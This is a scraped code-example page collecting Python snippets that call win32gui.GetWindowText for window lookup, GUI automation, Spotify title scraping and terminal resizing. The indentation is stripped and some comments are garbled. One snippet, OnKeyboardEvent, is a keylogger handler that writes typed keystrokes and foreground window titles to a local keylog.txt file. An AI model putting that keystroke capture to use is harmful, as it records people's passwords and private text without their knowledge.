def __init__(self, window_name=None, exe_file=None, exclude_border=True):
hwnd = 0
# first check window_name
if window_name is not None:
hwnd = win32gui.FindWindow(None, window_name)
if hwnd == 0:
def callback(h, extra):
if window_name in win32gui.GetWindowText(h):
extra.append(h)
return True
extra = []
win32gui.EnumWindows(callback, extra)
if extra: hwnd = extra[0]
if hwnd == 0:
raise WindowsAppNotFoundError("Windows Application <%s> not found!" % window_name)
# check exe_file by checking all processes current running.
elif exe_file is not None:
pid = find_process_id(exe_file)
if pid is not None:
def callback(h, extra):
if win32gui.IsWindowVisible(h) and win32gui.IsWindowEnabled(h):
_, p = win32process.GetWindowThreadProcessId(h)
if p == pid:
extra.append(h)
return True
return True
extra = []
win32gui.EnumWindows(callback, extra)
#TODO: get main window from all windows.
if extra: hwnd = extra[0]
if hwnd == 0:
raise WindowsAppNotFoundError("Windows Application <%s> is not running!" % exe_file)
# if window_name & exe_file both are None, use the screen.
if hwnd == 0:
hwnd = win32gui.GetDesktopWindow()
self.hwnd = hwnd
self.exclude_border = exclude_border
python类GetWindowText()的实例源码
def _window_enum_dialog_callback(hwnd, extra):
'''Call back func which checks each open window and matches the name of window using reg ex'''
#self._handle = None
matchtext = extra
matchtext = matchtext.encode('utf-8')
logging.debug("call _window_enum_dialog_callback")
classname = win32gui.GetClassName(hwnd)
title_text = win32gui.GetWindowText(hwnd)
title_text = title_text.decode('gbk').encode('utf-8')
if classname == '#32770':
matchtext = matchtext.encode('utf-8')
logging.debug("msg: " + matchtext)
logging.debug("Title is: " + title_text)
if (matchtext.strip() == title_text.strip()):
logging.debug("!!!!BINGO!!!!")
top_hwnd = hwnd
logging.debug("Find the window at the top")
return False
else:
logging.debug("No matched .....")
return True
def dumpWindow(hwnd, wantedText=None, wantedClass=None):
"""
:param hwnd: ????
:param wantedText: ??????
:param wantedClass: ???????
:return: ??????????????
"""
windows = []
hwndChild = None
while True:
hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText)
if hwndChild:
textName = win32gui.GetWindowText(hwndChild)
className = win32gui.GetClassName(hwndChild)
windows.append((hwndChild, textName, className))
else:
return windows
def GetChildapp(self,str_app):
print '******** GetChildapp fuction ********'
hwnd = win32gui.FindWindow(None, str_app)
if hwnd < 1:
hwnd = self.find_main_window(str_app)
if hwnd>1:
hChild = win32gui.GetWindow(hwnd,win32con.GW_CHILD)
bufLen=1024
buf =win32gui.PyMakeBuffer(bufLen)
totalnum = 1
while hChild :
hChild = win32gui.GetWindow(hChild,win32con.GW_HWNDNEXT)
n = win32gui.SendMessage(hChild,win32con.WM_GETTEXT,bufLen,buf)
str = buf[:n]
print '@@@@@@@@@@@'
print win32gui.GetWindowText(hChild)
print str
'''
if totalnum ==3:
win32gui.SendMessage(hChild,win32con.WM_SETTEXT,None,'Realtek 10/100/1000 Ethernet NIC')
'''
print totalnum,hChild
totalnum = totalnum + 1
print '******** GetChildapp fuction ********',totalnum
def handle_window(hwnd,extra):#TB_handle??
if win32gui.IsWindowVisible(hwnd):
if extra in win32gui.GetWindowText(hwnd):
global handle
handle= hwnd
def isSC2onForeground():
"""Detect if SC2-Client is the foreground window (only Windows)."""
try:
fg_window_name = GetWindowText(GetForegroundWindow()).lower()
sc2 = "StarCraft II".lower()
return fg_window_name == sc2
except Exception as e:
module_logger.exception("message")
return False
def __init__(self, window_name=None, exe_file=None, exclude_border=True):
hwnd = 0
# first check window_name
if window_name is not None:
hwnd = win32gui.FindWindow(None, window_name)
if hwnd == 0:
def callback(h, extra):
if window_name in win32gui.GetWindowText(h):
extra.append(h)
return True
extra = []
win32gui.EnumWindows(callback, extra)
if extra: hwnd = extra[0]
if hwnd == 0:
raise WindowsAppNotFoundError("Windows Application <%s> not found!" % window_name)
# check exe_file by checking all processes current running.
elif exe_file is not None:
pid = find_process_id(exe_file)
if pid is not None:
def callback(h, extra):
if win32gui.IsWindowVisible(h) and win32gui.IsWindowEnabled(h):
_, p = win32process.GetWindowThreadProcessId(h)
if p == pid:
extra.append(h)
return True
return True
extra = []
win32gui.EnumWindows(callback, extra)
#TODO: get main window from all windows.
if extra: hwnd = extra[0]
if hwnd == 0:
raise WindowsAppNotFoundError("Windows Application <%s> is not running!" % exe_file)
# if window_name & exe_file both are None, use the screen.
if hwnd == 0:
hwnd = win32gui.GetDesktopWindow()
self.hwnd = hwnd
self.exclude_border = exclude_border
def _window_enum_callback(self, hwnd, wildcard):
'''Call back func which checks each open window and matches the name of window using reg ex'''
if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None:
self._handle = hwnd
def song_info():
try:
song_info = win32gui.GetWindowText(getwindow())
except:
pass
return song_info
def get_window_title(hwnd):
return win32gui.GetWindowText(hwnd)
def get_text(hwnd):
"""
Gets the titlebar text of a window (only standard ascii).
Args:
hwnd (int): The window handler.
Returns:
(string): The titlebar text of the window.
"""
return ''.join(char for char in wg.GetWindowText(hwnd) if ord(char) <= 126)
def getwindowtitle():
if sys.platform == "win32":
spotify = win32gui.FindWindow('SpotifyMainWindow', None)
windowname = win32gui.GetWindowText(spotify)
elif sys.platform == "darwin":
windowname = ''
try:
command = "osascript getCurrentSong.AppleScript"
windowname = subprocess.check_output(["/bin/bash", "-c", command]).decode("utf-8")
except Exception:
pass
else:
windowname = ''
session = dbus.SessionBus()
spotifydbus = session.get_object("org.mpris.MediaPlayer2.spotify", "/org/mpris/MediaPlayer2")
spotifyinterface = dbus.Interface(spotifydbus, "org.freedesktop.DBus.Properties")
metadata = spotifyinterface.Get("org.mpris.MediaPlayer2.Player", "Metadata")
try:
command = "xwininfo -tree -root"
windows = subprocess.check_output(["/bin/bash", "-c", command]).decode("utf-8")
spotify = ''
for line in windows.splitlines():
if '("spotify" "Spotify")' in line:
if " - " in line:
spotify = line
break
if spotify == '':
windowname = 'Spotify'
except Exception:
pass
if windowname != 'Spotify':
windowname = "%s - %s" %(metadata['xesam:artist'][0], metadata['xesam:title'])
if "—" in windowname:
windowname = windowname.replace("—", "-")
if "Spotify - " in windowname:
windowname = windowname.strip("Spotify - ")
return(windowname)
def foreach_window(self):
def callback(hwnd, lparam):
title = win32gui.GetWindowText(hwnd).lower()
for window in self.to_close:
if window in title:
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
print "Closed window ({})".format(title)
for window in self.clicks:
if window in title:
self._windows[hwnd] = {
"matches": self.clicks[window],
"to_click": [],
"buttons": []
}
try:
win32gui.EnumChildWindows(hwnd, self.foreach_child(), hwnd)
except:
print "EnumChildWindows failed, moving on."
for button_toclick in self._windows[hwnd]['to_click']:
for button in self._windows[hwnd]['buttons']:
if button_toclick in button['text']:
win32gui.SetForegroundWindow(button['handle'])
win32gui.SendMessage(button['handle'], win32con.BM_CLICK, 0, 0)
print "Clicked on button ({} / {})".format(title, button['text'])
del self._windows[hwnd]
return True
return callback
def getWindowText(hwnd):
"""
???????
"""
return win32gui.GetWindowText(hwnd)
def _windowEnumerationHandler(hwnd, resultList):
"""Pass to win32gui.EnumWindows() to generate list of window handle,
window text, window class tuples."""
resultList.append((hwnd,
win32gui.GetWindowText(hwnd),
win32gui.GetClassName(hwnd)))
def enumHandler(hwnd, lParam):
if win32gui.IsWindowVisible(hwnd):
if 'WinGuake - Guake For Windows' in win32gui.GetWindowText(hwnd):
m_width = win32api.GetSystemMetrics(0)
m_length = win32api.GetSystemMetrics(1)
w_width = int(m_width)
w_length = int(m_length/2)
win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
def enumHandler(hwnd, lParam):
if win32gui.IsWindowVisible(hwnd):
if 'WinGuake' in win32gui.GetWindowText(hwnd):
m_width = win32api.GetSystemMetrics(0)
m_length = win32api.GetSystemMetrics(1)
w_width = int(m_width)
w_length = int(m_length/2)
win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
def enumHandler(hwnd, lParam):
if win32gui.IsWindowVisible(hwnd):
if 'WinGuake - Guake For Windows' in win32gui.GetWindowText(hwnd):
m_width = GetSystemMetrics(0)
m_length = GetSystemMetrics(1)
w_width = int(m_width)
w_length = int(m_length/2)
win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
def _window_enum_callback(self, hwnd, wildcard):
"""Call back func which checks each open window and matches the name of window using reg ex"""
if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None:
self._handle = hwnd
def OnKeyboardEvent(self,event):
global buffer
global window
global save_keystroke
global current_active_window
save_keystroke = open(USERDATA_PATH + "keylog.txt", 'a')
new_active_window = current_active_window
current_active_window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
if new_active_window != current_active_window:
window = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + current_active_window
save_keystroke.write(str(window)+'\n')
window = ''
if event.Ascii == 13:
buffer = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + buffer
save_keystroke.write(buffer+ '\n')
buffer = ''
elif event.Ascii == 8:
buffer = buffer[:-1]
elif event.Ascii == 9:
keys = '\t'
buffer = buffer + keys
elif event.Ascii >= 32 and event.Ascii <= 127:
keys = chr(event.Ascii)
buffer = buffer + keys
return True
def _window_enum_callback(self, hwnd, wildcard):
'''Call back func which checks each open window and matches the name of window using reg ex'''
if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None:
self._handle = hwnd
def updateWindowHandle(self, callback=None):
def getSpotifyWindowHandle(handle, extra):
pid = GetWindowThreadProcessId(handle)[1]
processName = psutil.Process(pid).name().lower()
songMatch = SONG_DATA_RE.match(GetWindowText(handle))
if(SPOTIFY in processName and songMatch):
self.windowHandle = handle
## Should really be a return False here to kill off the
## enumeration when a suitable handle is found, but that
## produces a weird 'Things have gone VERY wrong' error.
## See: http://docs.activestate.com/activepython/3.1/pywin32/win32gui__EnumWindows_meth.html
EnumWindows(getSpotifyWindowHandle, None)
## Can't know which window will display the currently playing song
## information unless it's playing music.
if(not self.windowHandle):
self._findWindowHandleAttempts += 1
if(self._findWindowHandleAttempts > ATTEMPT_LIMIT):
self.stopScraping()
raise RuntimeError("No valid " + SPOTIFY + " windows available. Is it currently open and running (and not playing any ads)?")
self.playSong()
time.sleep(WAIT_TIME) ## Give Spotify a moment to start playing.
self.updateWindowHandle()
if(callback):
callback()
def updateSongData(self, callback=None):
windowText = GetWindowText(self.windowHandle)
## Don't just endlessly loop if the window handle stops working
## (usually because the window was closed).
if(not windowText):
self.stopScraping()
self.windowHandle = None
raise RuntimeError("No valid " + SPOTIFY + " windows available. Was it closed recently?")
songMatch = SONG_DATA_RE.match(windowText)
## Check to see that the 'Artist - Song' string is in the window's title.
if(songMatch):
song = songMatch.group(1)
artist = songMatch.group(2)
## Check to make sure that the song data is for a new song.
if(self.song != song or self.artist != artist):
self.song = song
self.artist = artist
if(self.shouldGetArt):
self.art = self.captureAlbumArt()
## Callback only when the song has been updated.
if(callback):
if(self._callbackArgCount == 0):
callback()
elif(self._callbackArgCount == 1):
callback(self.getSongDataDict())
else:
self.stopScraping()
alert = "The callback function '{0}' should take 0 or 1 arguments. It current takes {1} arguments."
RuntimeError(alert.format(callback.__name__, self._callbackArgCount))
ctrl_waveQoE.py 文件源码
项目:Automation-Framework-for-devices
作者: tok-gogogo
项目源码
文件源码
阅读 25
收藏 0
点赞 0
评论 0
def _windowEnumerationHandler(hwnd, resultList):
'''Pass to win32gui.EnumWindows() to generate list of window handle,
window text, window class tuples.'''
resultList.append((hwnd,
win32gui.GetWindowText(hwnd),
win32gui.GetClassName(hwnd)))
winGuiAuto_bak.py 文件源码
项目:Automation-Framework-for-devices
作者: tok-gogogo
项目源码
文件源码
阅读 25
收藏 0
点赞 0
评论 0
def _windowEnumerationHandler(hwnd, resultList):
'''Pass to win32gui.EnumWindows() to generate list of window handle,
window text, window class tuples.'''
resultList.append((hwnd,
win32gui.GetWindowText(hwnd),
win32gui.GetClassName(hwnd)))
winGuiAuto.py 文件源码
项目:Automation-Framework-for-devices
作者: tok-gogogo
项目源码
文件源码
阅读 23
收藏 0
点赞 0
评论 0
def _windowEnumerationHandler(hwnd, resultList):
'''Pass to win32gui.EnumWindows() to generate list of window handle,
window text, window class tuples.'''
resultList.append((hwnd,
win32gui.GetWindowText(hwnd),
win32gui.GetClassName(hwnd)))
def is_win_ok(self,hwnd,starttext,lb_dx='869',lb_dy='38',win_dx='',win_dy=''):
#print "*********is_win_ok function**********"
#print "*********is_win_ok function starttext**********",starttext
if len(win_dx)>0:
self.wdx = string.atoi(win_dx)
if len(win_dy)>0:
self.wdy = string.atoi(win_dy)
s = win32gui.GetWindowText(hwnd)
#print s
if s.startswith(starttext):
#print "*********is_win_ok function s**********",s
#print (s)
dlg=win32gui.FindWindow(None,s)
time.sleep(1)
#win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
win32gui.ShowWindow(dlg,win32con.SW_SHOW)
time.sleep(1)
#print 'self.wdx,self.wdy:',self.wdx,self.wdy
#win32gui.MoveWindow(dlg,0,0,self.wdx,self.wdy,1)
time.sleep(1)
win32gui.SetForegroundWindow(dlg)
time.sleep(1)
#win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
win32gui.ShowWindow(dlg,win32con.SW_SHOW)
time.sleep(1)
#self.Mouse_LB(lb_dx,lb_dy)
global MAIN_HWND
MAIN_HWND = hwnd
return None
return 1
def winfun(self, hwnd,lparam):
print "*********winfun function**********"
s = win32gui.GetWindowText(hwnd)
if len(s) > 3:
print("winfun, child_hwd: %d txt: %s" % (hwnd, s))
return 1
ctrl_waveApps.py 文件源码
项目:Automation-Framework-for-devices
作者: tok-gogogo
项目源码
文件源码
阅读 30
收藏 0
点赞 0
评论 0
def _windowEnumerationHandler(hwnd, resultList):
'''Pass to win32gui.EnumWindows() to generate list of window handle,
window text, window class tuples.'''
resultList.append((hwnd,
win32gui.GetWindowText(hwnd),
win32gui.GetClassName(hwnd)))
ctrl_omnipeek.py 文件源码
项目:Automation-Framework-for-devices
作者: tok-gogogo
项目源码
文件源码
阅读 24
收藏 0
点赞 0
评论 0
def _windowEnumerationHandler(hwnd, resultList):
'''Pass to win32gui.EnumWindows() to generate list of window handle,
window text, window class tuples.'''
resultList.append((hwnd,
win32gui.GetWindowText(hwnd),
win32gui.GetClassName(hwnd)))